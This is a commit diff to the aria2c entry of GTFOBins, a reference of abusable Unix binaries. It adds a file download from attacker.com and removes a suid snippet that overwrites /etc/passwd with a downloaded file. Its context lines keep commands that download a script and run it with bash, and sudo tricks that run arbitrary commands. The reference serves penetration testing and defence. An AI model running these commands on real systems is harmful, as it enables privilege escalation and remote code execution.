Simplify aria2c file download

_gtfobins/aria2c.md

@@ -10,6 +10,12 @@ functions:
         aria2c --on-download-error=$TF http://x
     - description: The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.
       code: aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
+  file-download:
+    - description: Fetch a remote file via HTTP GET request. Use `--allow-overwrite` if needed.
+      code: |
+        URL=http://attacker.com/file_to_get
+        LFILE=file_to_save
+        aria2c -o "$LFILE" "$URL"
   sudo:
     - code: |
         COMMAND='id'
@@ -17,10 +23,6 @@ functions:
         echo "$COMMAND" > $TF
         chmod +x $TF
         sudo aria2c --on-download-error=$TF http://x
-  suid:
-    - code: |
-        aria2c -d /etc/ -o passwd "http://attacker.com/passwd" --allow-overwrite=true
-    - description: Remote download and replace /etc/passwd with root privilege.
   limited-suid:
     - code: |
         COMMAND='id'